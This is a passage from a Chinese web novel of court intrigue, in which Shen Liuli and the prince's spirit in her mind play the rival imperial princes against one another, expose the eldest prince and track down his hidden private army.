“……我们‘鬼脸十三鹰’,此次行动的巨额定金和尾款,并非来自大皇子府库,也不是他名下的任何产业。而是通过一个名为【四海商盟】的组织,转交到我们手上的。”
“四海商盟?”沈琉璃在心中,默念着这个陌生的名字。
“本王似乎在哪里听说过。”君北玄的声音,也带着凝重。
一个更神秘的黑影,在这盘棋局上悄然浮现……
柴房内的油灯,火苗不安地跳动着,将墙壁上的人影,拉扯得忽明忽暗。
鬼老大在签下那份供词后,便如同一滩烂泥,失去了所有的精气神。被陆风的人,悄无声息地拖了下去,等待着他那未知的未来。
工坊的地下密室内,只剩下了沈琉璃、陆风,以及在她脑海中,陷入了长久沉默的君北玄。
“四海商盟……”
沈琉璃看着供词上那四个大字,只觉得一股寒气从心底缓缓地升起。
这个名字她从未听过,可它字里行间所透出的力量感,却让她感到了前所未有的压力。
她看向陆风:“陆将军,你可曾听过这个名字?”
陆风那张冷峻的脸上,带着几分凝重。
他摇了摇头:“属下常年驻守北境,对中原和南洋的商路,知之甚少,但……”
他顿了顿,补充道:“能牵扯皇家的人,来进行资金周转和雇佣杀手,这个‘商盟’的实力,恐怕远在我们的想象之上。”
“何止是远在想象之上。”
君北玄的声音,终于在她脑中响起。
“本王想起来了。”他缓缓说道,“我还在大徽时,曾听父皇提起过一次。他说这天下,除了看得见的王朝和军队,在水面下还潜伏着看不见的‘影子帝国’。”
“而这个‘四海商盟’,便是其中最古老的一个。”
“他们的触手,遍布所有国家;他们的财富,富可敌国。他们不效忠于任何一位君主,只效忠于黄金。”君北玄的声音里透露着忌惮,“传闻,他们是数百年前,由王族后裔联合海商共同创立。他们存在的唯一目的,就是用金钱来渗透和操控权力。各国王室的储位之争、朝堂官员的明争暗斗,背后往往都有他们的影子。他们就像一群盘踞在尸体上的秃鹫,哪里有纷争,哪里就有他们。”
“他们是皇权的‘黑手套’,也是动摇皇权的‘蚁穴’。”
君北玄的这番话,像一幅黑暗而又宏大的画卷,在沈琉璃和陆风的面前,缓缓展开。他们本以为,自己面对的只是乾国皇子间的储位之争,可现在才发现,在这盘棋的背后,竟还站着一个如此恐怖的庞然大物!
“大皇子李裕,竟与此等势力有染。”陆风的声音,艰涩无比,“那我们……”
“慌什么?!”君北玄冷哼一声,迅速恢复了战神的本色,“越是庞大的帝国,其内部越是充满了裂痕。‘四海商盟’不过是一群唯利是图的商人罢了。只要我们,能展现出比大皇子更大的‘价值’,他们随时可以成为我们的另一把刀。”
他的话虽然霸气,却也让沈琉璃,更加清醒地认识到了眼下的困境。
“好了,”她深吸一口气,将那份供词小心翼翼地折好,贴身收起,“关于‘四海商盟’的事,我们从长计议。当务之急,是先利用好我们手中这份‘武器’。”
她看向陆风,正要说话。
陆风这位铁血将军,却抢先一步,对着沈琉璃一抱拳:“主公!是否需要末将把这份供词抄写几百份,明天一早撒满京城,打他们一个措手不及!”
“没错!兵贵神速!”君北玄也在她脑中,发出了与陆风如出一辙的怒吼,“必须在敌人反应过来之前,发动雷霆一击,让他百口莫辩!”
这两位将军,在这一刻达成了完美的共识:快、准、狠!
然而,沈琉璃却缓缓地摇了摇头。
“不行。”
她的声音不大,却像一盆冰水,浇灭了两位将军刚刚燃起的战火。
“为何不行?!”君北玄和陆风,几乎是异口同声地问道。
沈琉璃没有立刻回答陆风,因为她的脑海里正进行着一场激烈的辩论。
“还等什么?!”君北玄的声音,充满了不耐,“让陆风立刻动手!将供词传遍全城!一鼓作气拿下大皇子!”
“不行。”沈琉璃在心里,断然否决,“这是自杀式冲锋!”
她将之前对陆风说的那番“朝堂利弊”的分析,在心里对君北玄又重复了一遍。
“妇人之仁!贻误战机!”君北玄暴跳如雷,“难道就因为有风险,我们就要眼睁睁地看着他逍遥法外吗?!那你说该怎么办?!”
“我没说要放过他。”沈琉璃的嘴角,勾起一抹冰冷的弧度,“我只是觉得,杀鸡焉用牛刀?对付不同的敌人,就要用不同的打法。你们将军的想法是摧毁;而我,一个小女子想的是怎么利用。”
她终于结束了脑中的“战争”,抬起头迎上了陆风那充满了困惑的目光。
“陆将军,”她缓缓开口,“直接将供词公之于众,是下下策。”
她看着陆风那不解的眼神,轻声解释道:“一份来路不明的‘罪证’,就算传遍了全天下又能如何?大皇子会哭,他会跪在父皇面前,说这是栽赃,是陷害。而父皇为了‘皇家颜面’,最终只会各打五十大板,我们会从‘受害者’变成‘阴谋家’。”
陆风沉默了。
“那我们该怎么做?”他虚心求教。
“这份供词,是一把好剑。”沈琉璃的指尖,在舆图上缓缓划过,“但它,不能由我们自己递出去。”
她转头,对陆风下达了命令:
“第一,将这份供词誊抄一份,今夜秘密送入三皇子府。告诉他,这是一把刀。”
“第二,你再去查查二皇子李昭,每日回府的必经之路。然后,将这份账册副本‘不小心’遗落在他回府的路上。”
“主公,您的意思是……”陆风似乎明白了什么。
“没错。”沈琉璃点了点头,“我不是要与他同盟,我只是要在他心中埋下一颗种子。”
“我要让他知道,扳倒他大哥的机会就在眼前。而他,可以选择继续当那只看戏的‘黄雀’,也可以选择亲自下场,来当那只补上最后一刀的猎鹰!”
计划已定,陆风没有再多问一个字,他躬身一拜,身影便悄无声息地融入了窗外的夜色之中。
第29章 投石问路
密室内,只剩下了沈琉璃一个人。
“你……”君北玄的声音,在她脑中响起,“你这是在养虎为患,那个老二比他大哥要可怕得多。”
“我知道。”沈琉璃看着窗外,轻声说道,“可王爷,你不是也说过吗?有时候,想要杀死一头猛虎,最好的办法,就是为它找来一个更强大的敌人。”
她知道,从今夜起,乾国这场储位之争的棋局,将不再是表哥与大皇子的对弈。
而是一场由她亲手点燃的三龙夺嫡!
夜,三更。
一辆毫不起眼的青布马车,悄无声息地停在了三皇子府的侧门。
沈琉璃戴着帷帽,在忠叔的护送下,快步走进了这座府邸。
书房内,灯火通明。
三皇子李琰,正独自一人对着一盘棋,凝神沉思。
“表妹,你来了。”看到沈琉璃,李琰的脸上露出了真切的笑容。
“表哥,深夜叨扰,还望见谅。”沈琉璃屈膝一福,随即开门见山,“今日前来,是有一件事要与你商议。”
李琰的神色,也变得凝重起来。他屏退了所有下人,亲自为沈琉璃倒了一杯茶。
“说吧,你我之间,无需客套。”
沈琉璃没有立刻拿出供词,她需要先探一探他的虚实。
“表哥,近来朝堂上,大皇兄的动作,似乎越来越大了。”她看似随意地起了一个话头。
“何止是大。”李琰闻言,冷笑一声,将手中的茶杯重重地放在了桌上,“他简直是想将我往死路上逼!”
他将这几日,大皇子派系如何在朝堂上打压异己,甚至连他手下几个最得力的官员,都被寻了由头,外放出京的事情,一五一十地说了出来。
他的声音里,带着压抑不住的怒火。
“我如今,名为皇子,实则,与被圈禁又有何异?空有抱负,却无处施展!只能眼睁睁地看着他,一步步地将所有权力都揽入自己手中!琉璃,你说,我该怎么办?难道,就真的这么认命了吗?!”
沈琉璃静静地听着他的控诉,直到他说完,她才缓缓地从袖中取出了那份由鬼老大亲笔画押的供词。
“表哥,或许我们不必认命。”
她将那份供词,轻轻地推到了李琰的面前。
李琰疑惑地将其展开,只看了一眼,他那张温润的脸上,血色褪尽!随即,一股滔天的怒火,从他的眼底轰然炸开!
“好!好一个李裕!我的好大哥!”他将那份供词,重重地拍在桌上,气得浑身发抖,“为了一己私利,竟敢买凶杀人!还企图对表妹动手!他简直是丧心病狂!”
“来人!”他怒喝一声,对着门外喊道,“去!将林学士他们都给本王叫来!立刻!马上!”
片刻之后,以林大学士为首的几位幕僚,都匆匆赶到了书房。当他们看完那份供词后,脸上的表情与李琰如出一辙。
“殿下!此乃天赐良机!”林学士激动地说道,“有了这份人证在此,我们便可在朝堂上,对大皇子发起致命一击!”
“没错!”李琰的眼中,燃烧着火焰,“传我的令!连夜写好弹劾的奏章!明日一早,我便要让父皇,让满朝文武都看看,父皇那个‘仁德宽厚’的好儿子,背地里究竟是何等的蛇蝎心肠!”
看着眼前这些,被仇恨冲昏了头脑的“盟友”,沈琉璃的心中不由得升起了一股忧虑。
……
与此同时,京城的另一端。
一条僻静的小巷里,陆风悄无声息地从一棵大树的阴影中闪身而出。
他的手上,拿着一张看起来毫不起眼的账册。
他走到二皇子府的侧门,看了一眼四周,确认无人后,便将那账册塞进了门缝底下的缝隙里。
做完这一切,他的身影便再次融入了黑暗之中,仿佛从未出现过。
一个时辰后,二皇子府,书房。
这里,与三皇子府的气氛截然不同。
整个书房,安静得能听见窗外落叶的声音,空气中弥漫着一股好闻的味道。
二皇子李昭,身着一身素净的儒袍,正像往常一样,独自一人在灯下,安静地品读着一本前朝的孤本。
他看得极其专注,仿佛这世间,再没有任何事能比书中的文字更能吸引他。
就在此时,他的贴身老太监,悄无声息地,如同幽灵般,走了进来。
“殿下。”门外传来下人的声音。
“进来。”李昭没有抬头。
“今夜,有人给府上送来了一样东西。”下人一边说,一边将账册恭敬地呈了上来,“老奴捡起来一看,发现是本账册。”
李昭的目光,从书卷上缓缓移开。
他看着那张沾染着尘土的纸页,没有立刻去接,只是淡淡地问道:“是什么?”
“……是一份,很有趣的账目。”下人回答。
李昭的眉梢,几不可见地轻轻一挑。
他接过那账册,将其展开。
他看得很慢,很仔细,几乎是一个字一个字地在心里默读。
许久,他才将那足以在朝堂上,掀起滔天巨浪的“证据”,缓缓地放在了桌上。
他的脸上没有半分激动,一副平静的表情。
“有意思。”他轻轻地吐出了这三个字。
下人躬身站在一旁,不敢多言。
“你说,”李昭忽然开口,像是在问他,又像是在自言自语,“这世上,怎么会有这么巧的事呢?大哥前脚刚派人行凶,后脚他的‘罪证’就送到了咱们府上?”
“……老奴,愚钝。”
“不,你不愚钝。”李昭微微一笑,他站起身走到窗前,看着窗外那轮残月。
“这不是巧合,这是有人在给我递刀子啊。”
他知道,那个敢于挑战他大哥的“第三方势力”,终于开始向他递出橄榄枝了。
“那殿下……您的意思是?”下人试探着问道。
“他想让我,去做那只替他火中取栗的‘猫’。”李昭的脸上,露出了笑容,“可他却不知道,有时候,猫也是会吃掉主人的。”
他转过身,淡淡地吩咐道:
“派我们最可靠的人,去查一查,这账册上所记之事是否属实。”
“然后,静观其变。”
“我倒要看看,我那位三弟,明天会如何在朝堂上唱一出好戏。”
翌日,乾国皇宫,太和殿。
天光未亮,文武百官便已身着朝服,按照品阶分列于丹陛两侧。
所有人都心知肚明,今日的朝堂绝不会平静。
大皇子李裕,站在百官之首,他身着亲王规制的四爪金龙袍,头戴玉冠,脸上挂着矜持的笑容。他目光平和,与身旁的几位心腹大臣,低声谈笑着。
三皇子李琰,安静地站在自己的位置上。他的脸上,没有了往日的忧郁,只有一片山雨欲来的凝重。
而二皇子李昭,则像往常一样,捧着一本手卷,站在最不起眼的角落里,双眼微垂,仿佛对即将发生的一切都漠不关心。
龙椅之上,皇帝君宏德则面无表情地扫视着底下各怀心思的臣子们。
“有事启奏,无事退朝——!”
随着太监那一声悠长尖利的唱喏,早朝正式开始了。
“陛下!”
几乎是在太监话音落下的瞬间,三皇子李琰的老师,如今三皇子派系的中流砥柱,林学士,手持玉笏,第一个从队列中站了出来。
“臣,有本启奏!臣要弹劾大皇子殿下!”
此言一出,满朝皆惊!
所有人都没想到,三皇子这一派的官员,竟敢主动发起攻击?!
大皇子李裕脸上的笑容,微微一滞。
“林学士,”皇帝君宏德坐在龙椅上,声音听不出喜怒,“你要弹劾皇长子?可知,这是何等大罪?”
“臣知罪!”林学士对着龙椅,重重一拜,随即,他抬起头,眼中满是决然,“但臣更不能眼睁睁地看着,未来的大徽太子妃,我乾国的贵女,在光天化日之下,遭遇杀手围杀而无动于衷啊!”
他将那份由鬼老大亲笔画押的供词,高高举起!
“此乃被俘刺客的供状!上面清清楚楚地记载着,他们是如何受人收买,又是如何得到太子门客的支持,前往京郊工坊烧杀抢掠!其心之歹毒,简直骇人听闻!”
林学士话音未落,另一位与沈家交好的御史,立刻出列附议,声音悲愤:
“陛下!沈大小姐,乃是您亲自为大徽太子选定的国婚之人!她的安危,不仅关系到沈家,更关系到我乾国与大徽王朝的邦交颜面!”
“如今,竟有人为一己私利,买凶伤人,险些酿成惊天大祸!若此事传到大徽,让我朝颜面何存?让陛下颜面何存?!”
“请陛下,严惩凶手,以正国法,以安邻邦!”
这番话,直接将此事,从“皇子争斗”上升到了“外交危机”的高度!
“一派胡言!”大皇子身后,立刻有官员站出来,厉声驳斥,“区区一个刺客的攀咬之词,岂能当真?!谁不知,你林学士,是三皇子的人!这分明是你们对我朝储君的恶意构陷!”
“没错!请陛下明察!严惩此等污蔑皇子的小人!”
大皇子一派的官员,纷纷出列附议,言辞激烈,瞬间便将林学士等人围攻得左支右绌。
就在此时,大皇子李裕,终于动了。
他没有反驳,没有愤怒。他只是,缓缓地走到了大殿中央,“噗通”一声跪倒在地。
他抬起头,看着龙椅上的父皇,眼中竟已是泪光闪烁,脸上写满了痛心疾首。
“父皇,”他的声音,沙哑而悲愤,“儿臣……儿臣有罪!”
他竟是……主动认罪了?!
“儿臣之罪,在于‘交友不慎,识人不明’!”李裕重重地磕了一个头,“儿臣万万没有想到,我府中一个负责平日里采办的门客,竟会与‘百花阁’勾结,更是打着儿臣的旗号,犯下如此滔天大罪!此事,儿臣毫不知情!但他终究是儿臣的人,儿臣监管不力,罪该万死!请父皇降罪!”
好一招“以退为进”!
他将所有的罪责,都推到了一个“门客”的身上,而自己则只承担一个“监管不力”的罪名!
他这番表演堪称完美,既显得自己“勇于担责”,又将自己,从这场阴谋中摘得干干净净!
第30章 朝堂之上
揽月楼,顶层雅间。
沈琉璃正听着忠叔派人,从宫门口传回来的实时“战报”。
“小姐,三殿下的人,已经按计划发难了!但是大皇子他拒不承认,还将所有罪名都推到了一个下人身上!现在,朝堂上吵成一锅粥了!”
春桃在一旁听得,紧张得手心都在冒汗。
“不急。”沈琉璃端起茶杯,浅呷一口,眼神却望向了舆图上,代表着二皇子府邸的位置。
“我这位三表哥,虽然勇气可嘉,但他只是敲响战鼓的‘先锋’。”她在心里,对君北玄说道,“真正能决定这场战役胜负的,是那位一直按兵不动的‘黄雀’。”
“哼,妇人家的把戏。”君北玄嘴上嫌弃,“一场光明正大的决战,被你弄得跟乡野村妇打架一样,还要找帮手。”
“王爷,这您就不懂了。”沈琉璃微微一笑,“一对一的决斗,那是莽夫。能用三个人去打一个人的战争,那才叫‘智慧’。”
……
太和殿内,正如沈琉璃所料。
双方僵持不下,皇帝的脸上也露出了明显的不耐。他最讨厌的,便是这种乱糟糟的局面。
就在他准备,将此事“交由三司从长计议”,暂时“和稀泥”的时候……
一直站在角落里的二皇子李昭,慢悠悠地从队列中走了出来。
“父皇,各位大人。”他用一种无奈的语气说道,“大哥与三哥的事,本是家事,儿臣本不该多嘴。”
“但是……”他话锋一转,脸上露出了几分困惑,“儿臣昨日,在清查城中几家商号的偷税漏税案时,却意外地发现了一本很有趣的账册。”
他说着,便从袖中取出了一本看起来毫不起眼的账册,递给了身边的太监。
“这本账册,来自一家为皇嫂提供珠宝的商号。账目上,有几笔数额巨大的支出,名目是‘修缮庭院’。可据儿臣所查,这笔钱最终却都流入了一个地下钱庄。”
“而那个地下钱庄最大的客户,恰好就是‘鬼脸十三鹰’。”
他这番话说得云淡风轻,仿佛真的只是在汇报一件微不足道的小事。
可听在所有人的耳朵里,却不亚于平地惊雷!
如果说,林学士的指控是“人证”。
那么,二皇子李昭呈上的这份账册,就是无可辩驳的“物证”!
两条来自不同方向的证据链,在这一刻完美地合拢了!
大皇子李裕的脸上,第一次出现了恐慌!
皇帝君宏德看着底下那三个各怀心思的儿子,眼中闪过了一道锐利的光芒。
“传朕旨意!”他的声音,如同九天之上的寒冰,响彻了整个太和殿。
“即刻,查封太子府所有账目,交由大理寺、刑部、御史台,三司会审!”
“在查明真相之前,大皇子李裕禁足于府中!任何人不得探视!”
退朝的钟声,在太和殿空旷的殿宇间悠悠回荡。
文武百官们,如同退潮的海水,怀着各自的心思,默默地退出了这座权力的中心。
大家都知道,今日早朝上这场惊心动魄的博弈,才刚刚开始。
大皇子府的门前,早已被皇帝派来的金吾卫,围得水泄不通。明晃晃的封条,交叉贴在了那扇朱红色的大门上,在阳光下,显得格外刺眼。往日里车水马龙、权贵云集的府邸,此刻竟连一只看热闹的野狗都不敢靠近。
府内,书房。
“哐当——!”
一只前朝的官窑青花瓶,被一只大手狠狠地扫落在地,摔得粉身碎骨。
大皇子李裕,再也维持不住在朝堂上的体面。他的脸上布满了狰狞的纹路,那双温润的眼眸,此刻也早已被疯狂的血丝所占据。
“废物!一群废物!”他指着跪在地上的幕僚,破口大骂,“区区一个沈琉璃!一个不成气候的老三!一个只知道读书的老二!竟能将孤逼到如此地步?!”
“殿下息怒!殿下息怒啊!”一位幕僚连忙上前劝道,“事已至此,动怒无益。当务之急,是如何应对三司的会审啊!”
“应对?”李裕冷笑一声,一脚踹翻了身边的椅子,“怎么应对?!人证物证俱在,你们让孤如何应对?!”
“殿下,”另一位幕僚,压低声音道,“事到如今,我们只能断尾求生了。”
他凑到李裕耳边,低语道:“所有与‘鬼脸十三鹰’和那个钱庄有关的线索,都只是指向了王妃的娘家,还有您手下的几个门客。只要让他们,把所有的罪责都扛下来,您便可安然无恙。”
“牺牲他们?”李裕的眼中,闪过挣扎。
“殿下!”那幕僚急切地说道,“留得青山在,不怕没柴烧!只要您储君之位无虞,牺牲几个人又算得了什么?日后,殿下登临大宝,再为他们加倍补偿便是了!”
李裕听完,脸上的挣扎渐渐被冷酷所取代,他缓缓地点了点头。
……
另一边,三皇子府与二皇子府的门前,却是截然不同的光景。
无数之前还在观望的官员,此刻都备上了厚礼前来“拜会”。
只是,三皇子李琰以“需要静养”为由一概谢绝;而二皇子李昭,则更是大门紧闭,对外宣称“闭门读书,不问外事”。
这两位看似已经胜券在握的皇子,竟不约而同地选择了低调。
……
揽月楼,顶层雅室。
“小姐!我们赢了!我们真的赢了!”春桃激动地挥舞着小拳头,脸上满是喜悦,“大皇子被禁足了!那个苏振,还有‘百花阁’的钱夫人,听说也都被抓进了大理寺!真是大快人心!”
“是啊,小姐,”忠叔也难掩激动,“经此一役,三殿下声望大涨,怕是离东宫之位,也只有一步之遥了。日后,再也无人敢欺负我们沈家了。”
就连一向沉默寡言的陆风,也难得地有了一些放松。
看着忠叔和春桃那发自内心的喜悦,沈琉璃的脸上露出了浅浅的微笑。
然而,这微笑下,她的心却并没有半分放松。
“高兴得太早了。”
君北玄那冰冷的声音,在她脑海中,毫不留情地为这喜悦的气氛浇上了一盆冷水。
沈琉璃脸上的笑意,缓缓地凝固了。
“一场小小的胜利,就让你们冲昏了头脑。”君北玄的声音里,充满了鄙夷,“本王问你,大皇子是被废了还是被杀了?”
听着君北玄的质问,沈琉璃端起茶杯,轻轻吹了吹热气,也让自己的头脑冷静了下来。
她抬起头,看着眼前还沉浸在喜悦中的三人,平静地开口说道。
“忠叔,春桃,陆将军。”
她的声音不大,却让房间里所有的喜悦气氛都烟消云散。
“我问你们,”她缓缓说道,“大皇子,是被废了还是被杀了?”
三人都是一愣。
“他只是被禁足了。”沈琉璃看着他们,一字一顿地说道,“父皇下的旨意,是‘三司会审’,不是‘下旨定罪’。你们难道看不出来吗?父皇他,从始至终都在给他那个宝贝儿子留着退路!”
“如今,李裕虽然暂时失势,但他经营了十多年的党羽还在朝中。只要他能找到一个完美的替罪羊,再演一出苦肉计,他随时都有可能东山再起!”
沈琉璃的这番话,如同惊雷,让忠叔和春桃脸上的喜悦转为了深深的后怕。
而一旁的陆风,则赞同地点了点头,眼中重新燃起了火焰:“主公说得对!战场上,被围困的野兽才是最危险的,它会用尽一切办法反扑。”
沈琉璃看着他们,轻声说道:“陆将军所虑极是,这不是结束,甚至连开始都算不上。”
“我们虽然,暂时打退了猛虎。但我们不仅没能伤其要害,反而还惊动了另一条毒蛇。”
她说的,自然是二皇子李昭。
“那……那我们该怎么办?”春桃的声音里,带上了哭腔。
“当务之急,”沈琉璃的眼神,变得无比坚定,“就是在大皇子找到‘替罪羊’之前,先一步,找到一份连父皇都无法再包庇他的铁证!”
“什么铁证?”陆风问道。
沈琉璃看着他,缓缓地吐出了两个,让在场所有人都感到窒息的字眼。
那两个字,正是君北玄,刚刚在她脑海中说出的答案。
“——谋逆!”
第31章 城郊的军营
沈琉璃看着舆图上,那代表着大皇子府的标记,只觉得这两个字,重于泰山。
她将这几日来,从“揽月楼”收集到的,一些看似零散的“八卦”一一写在了纸上。
“王爷,陆将军。”她轻声说道,“我这里,有几件怪事想请教二位。”
“主公请讲。”
“第一件,”沈琉璃拿起一张纸条,“兵部李侍郎的夫人,最近常在‘揽月楼’里抱怨,说她家夫君,最近半个月,总有那么几天会借口‘巡视京郊武备’而夜不归宿。可据我所知,京郊的武备库,并无大事发生。”
“第二件,”她又拿起另一张,“工部赵员外郎的夫人,上个月刚从江南定了一批上好的丝绸,结果运到半路,竟被一伙‘山贼’给劫了。奇怪的是,那伙山贼不要金银,只要丝绸。”
“还有这第三件,”她的神情,变得更加凝重,“城西最大的‘福瑞’粮行,他们家的掌柜夫人,前几日与人闲聊时,无意中说漏了嘴。说上个月,有一位神秘的客人,一口气,用现银从他们那里定走了三千石的军粮。而且,不要票据,不留姓名。”
她将这三张纸条,并排放在桌上。
“一个夜不归宿的将军,一伙只抢丝绸的怪贼,再加上一笔数额巨大的军粮采购。”沈琉璃看着陆风和君北玄,眼中充满了困惑,“这三件事背后,会不会隐藏着什么联系?”
当这些零散的信息,传入君北玄和陆风这两位“将军”耳中时……
陆风的呼吸,陡然急促了起来!
他猛地冲到舆图前,眼睛死死地盯住了沈琉璃刚刚提到的几个地点!
“不对!”君北玄的声音,也在沈琉璃的脑海中,轰然炸响,“这不是三件‘怪事’!这是一个完整的军事行动!”
他与陆风,几乎异口同声地,说出了答案!
“——是私兵!有人在京郊,藏了一支私兵!”
夜,三更。
乾国京城西郊,一片荒无人烟的乱葬岗。
陆风的身影,悄无声息地出现在了一座新立的孤坟前。他身后,两名同样身着夜行衣的“狼卫”,正将最后一铲浮土轻轻地盖上。
坟里埋着的,是福瑞粮行那名负责向外运粮的车夫。一个时辰前,他刚刚在赌桌上,输光了最后一个铜板,醉倒在回家的路上,然后失足坠入了冰冷的护城河。
“统领,都问清楚了。”一名狼卫上前,低声汇报道,“他只知道,每隔三日便要拉一车粮食送到西郊三十里外,一座废弃的旧矿场。至于矿场里有什么,他一概不知。”
“废弃矿场……”陆风抬起头,眺望着远处那片连绵起伏的西山山脉。
他知道,大皇子李裕那条狐狸的尾巴,终于要被他揪住了。
接下来的两日,陆风和他手下的狼卫,化作了黑夜中的幽灵。他们避开了京城的官道,如同野狼穿行在最崎岖的山林之间。
他们是天生的追踪者,君北玄的军事技艺,早已被他们刻入了骨髓。
他们能从车辙的深浅,判断出粮车的载重;能从路边遗落的草料,分辨出马匹的来源;更能从巡逻队留下的痕迹中,推断出对方的兵力和行进路线。
在第二天傍晚,他们在一处隐蔽的山坳里,险些与一队正在换防的大皇子亲兵迎面撞上。
在千钧一发之际,陆风只做了一个简单的手势。他和他身后的十几名狼卫,在短短数息之间,便利用周围的地形和阴影,与整个山林融为了一体。
那队亲兵从他们不到二十步的距离外,大摇大摆地走过,却自始至终都未能发现,在他们身旁的草丛与树影中,正潜伏着十几头来自北境的恶狼。
直到第三日的深夜,当他们翻过最后一座山头,一幅让他们所有人震撼的画卷,出现在了眼前。
只见在山谷的最深处,一座巨大的营寨,赫然矗立!
这哪里是什么“废弃矿场”?分明就是一座戒备森严的军事堡垒!
高耸的箭塔,锋利的拒马,来回巡逻的精锐士兵。其规模和建制,甚至比乾国的一些边境卫所还要庞大!
而在营寨的最中央,一座巨大的熔炉,正冒着滚滚的黑烟,兵器敲打的“叮当”声,即便隔着数里依旧清晰可闻。
——他在私造兵甲!
陆风看着眼前这一幕,他知道,自己终于找到了敌人的致命要害。
……
揽月楼,顶层雅间。
陆风将他亲手绘制的军事地图,呈现在了沈琉璃的面前。
“主公,都已查明。”他指着地图,沉声说道,“此地三面环山,只有一条通路,易守难攻。营中常驻兵力,约在三千人上下。从他们的操练和装备来看,其战力远胜于乾国都城的卫戍部队。”
“三千人……”沈琉璃的心,沉了下去。
“强攻,无异于送死。”君北玄在她脑中,冷静地分析道,“即便陆风手下,都是以一当十的精锐。但十几人去冲击一座三千人的军营,与飞蛾扑火并无区别。”
“那……潜入呢?”沈琉璃问道。
“同样行不通。”陆风摇了摇头,“营中戒备森严,明哨暗哨犬牙交错,几乎毫无死角。我们的人,只能在数里外观察,一旦靠近必然会被发现。”
“那……”君北玄的声音,充满了统帅的决断力,“就只能行‘奇兵’之策了!”
他迅速地在脑海中,为陆风规划出了一套方案。
“……今夜三更,让陆风亲率五名好手,从西侧的悬崖用飞爪潜入。另外五人,则在东侧的粮仓制造火情,声东击西。只要能拿到他们兵甲库里的名录,或是主将的令旗,便可……”
“王爷,”然而,这一次,沈琉璃却毫不客气地打断了他。
她看着眼前这张,由陆风用生命换来的地图,缓缓地摇了摇头。
“您的计划,堪称完美。”她轻声说道,“但我不能用。”
“为何?!”君北玄的声音里,充满了被质疑的怒意。
“因为,太危险了。”沈琉璃抬起头,看着陆风,眼神前所未有的认真,“陆将军,以及他身后的每一位狼卫,都是王爷您最后的班底,也是我们复仇的唯一希望。我绝不能将他们,投入到一场胜算不高的豪赌中,我们赌不起,也输不起。”
陆风看着眼前这位,将自己和兄弟们当成人的主公,心中没来由地狠狠一颤。
“妇人之仁!”君北玄在她脑中,暴跳如雷。
“将军,”沈琉璃没有理他,她看着地图,缓缓开口,“你们都只看得到,那座军营的刀剑,可我看到的却是人心。”
“有时候,攻破一个最坚固的堡垒,不需要千军万马。”
她从袖中,取出了一份由“揽月楼”刚刚送来的,有关大营主将张启年的背景资料。
“……只需要,他妻儿的一滴眼泪。”
她将那份资料,推到了陆风的面前。资料的核心,直指张启年那个“身患奇症,药石罔效”的独子。
君北玄看着上面描述的“浑身冰冷,血脉不畅”的症状,陷入了长久的沉默。
当沈琉璃这句决然的话语,缓缓落下时,迎接她的却不是赞同,而是充满了质疑的目光。
第一个提出反对的,是陆风。
这位铁血的将军,脸上露出了明显的不认同。他对着沈琉璃重重一抱拳,声音沉闷如鼓。
“主公,属下……恕难从命。”
“哦?”沈琉璃有些意外。
“我等军人,征战沙场,讲究的是堂堂正正,阵前对决。”陆风的每一个字,都说得掷地有声,“我们可以用计,可以设伏,但绝不能将妇人孺子,当作我们战争的筹码!这是对军人的侮辱!王爷他,生平最恨的,便是此等下作手段!”
他说着,目光灼灼地看向了沈琉璃胸前的那枚【孤狼坠】,仿佛在寻求主君的认同。
“陆风说得对!”君北玄的声音,果然在她脑海中响了起来,“沈琉璃!你这个女人脑子里到底装的都是些什么?!本王承认,你的计谋有时候确实有点用。但这一次你过界了,我们可以输,可以死,但绝不能用一个孩子的性命来当赌注!这是本王的底线!”
面对这两位“将军”的联合反对,沈琉璃只觉得一阵头疼。她感觉自己,仿佛成了一个,试图说服两座大山的愚公。
而这两座大山,还该死的,是她自己的盟友。
第32章 顾九
密室内,气氛,在一瞬间降至冰点。
沈琉璃发现,自己和这些军人沟通,有时候比对付大皇子还要心累。
她长长地叹了一口气,无奈地开口了。
“我什么时候说,要用那个孩子的性命来当赌注了?”她看着陆风,又像是在对脑海中的君北玄说话,没好气地反问道。
“你……”陆风一愣。
“你们的脑子里,除了绑架和人质,还有没有别的东西了?”沈琉璃简直痛心疾首,“我再说一遍,我的计划不是害他,而是救他!”
“救他?”君北玄的语气里,充满了怀疑,“就凭你?你连金疮药和红花油都分不清,还要去救一个,连太医院都束手无策的病人?你是在说笑吗?”
“我自然是救不了。”沈琉璃坦然地承认,“可是王爷您,可以啊。”
“我?”
“没错。”沈琉璃缓缓地说道,“您忘了,您之前是如何在公审堂上,一语道破那‘七日腐骨草’的吗?您忘了,您是如何教我用‘雪山玫瑰’来解毒的吗?”
“王爷,您在北境征战多年,见过的奇毒异草,比太医院那些老古董们只多不少。您对药理的了解,或许连您自己都低估了。”
君北玄沉默了。
他不得不承认,沈琉璃说的是事实。常年在战场上与蛮族的巫医和毒师打交道,他对各种偏门毒药的了解,确实远超常人。
“好,就算本王知道解法。”他依旧嘴硬,“可你又如何能让人相信,你能救人家的儿子?我看他们不把你当成疯子乱棍打出来,都算是客气的!”
这,确实是一个无法解决的难题。
就在沈琉璃也陷入沉思时,一旁的陆风,却在犹豫了许久之后,缓缓地开了口。
“主公,王爷……”他看着沈琉璃,又像是对着那枚坠子,“关于‘医治’之事,属下或许有个人选。”
“哦?”沈琉璃和君北玄,都来了兴趣。
“属下此次前来乾国,除了十几名狼卫兄弟,还带了一个人。”陆风缓缓地说道,“此人名叫顾九,是王爷麾下,最得力的随营军医。”
“顾九?”君北玄的声音里,带上了几分意外,“那个酒鬼?他竟然也来了?”
“是的。”陆风点了点头,“属下想着,此行凶险,王爷您的情况又未知,带上他总归是多了一份保障。”
“很好!”君北玄当机立断,“立刻让他过来!有他在,此事便成了七分!”
半个时辰后,一个身着儒袍,面容俊朗,但眼神却带着几分醉意的男人,打着哈欠,被陆风半请半架地带进了密室。
他一进来,便自顾自地找了个最舒服的椅子坐下,从怀里掏出一个酒葫芦,美滋滋地灌了一口,完全无视了在场的所有人。
“我说,陆大统领。”他懒洋洋地开口,“大半夜的,把我从温柔乡里叫出来,就是为了看你们开会?有什么军国大事,能比我那壶‘女儿红’还重要?”
“顾九!”陆风看着他这副吊儿郎当的模样,气得太阳穴直跳,低声喝道,“主公面前,不得无礼!”
“主公?”顾九这才抬起眼皮,用一种挑剔的目光,上下打量了沈琉璃一番,随即,嗤笑一声,“陆风,你是不是在北境待久了,脑子被风吹傻了?你管这么个还没断奶的小丫头,叫‘主公’?”
“你!”陆风气结。
“好了,陆将军。”沈琉璃却摆了摆手,示意他不必动怒。
她看着眼前这个,与陆风截然不同的男人,心中反而安定了下来。她知道,这种人,往往才有真本事。
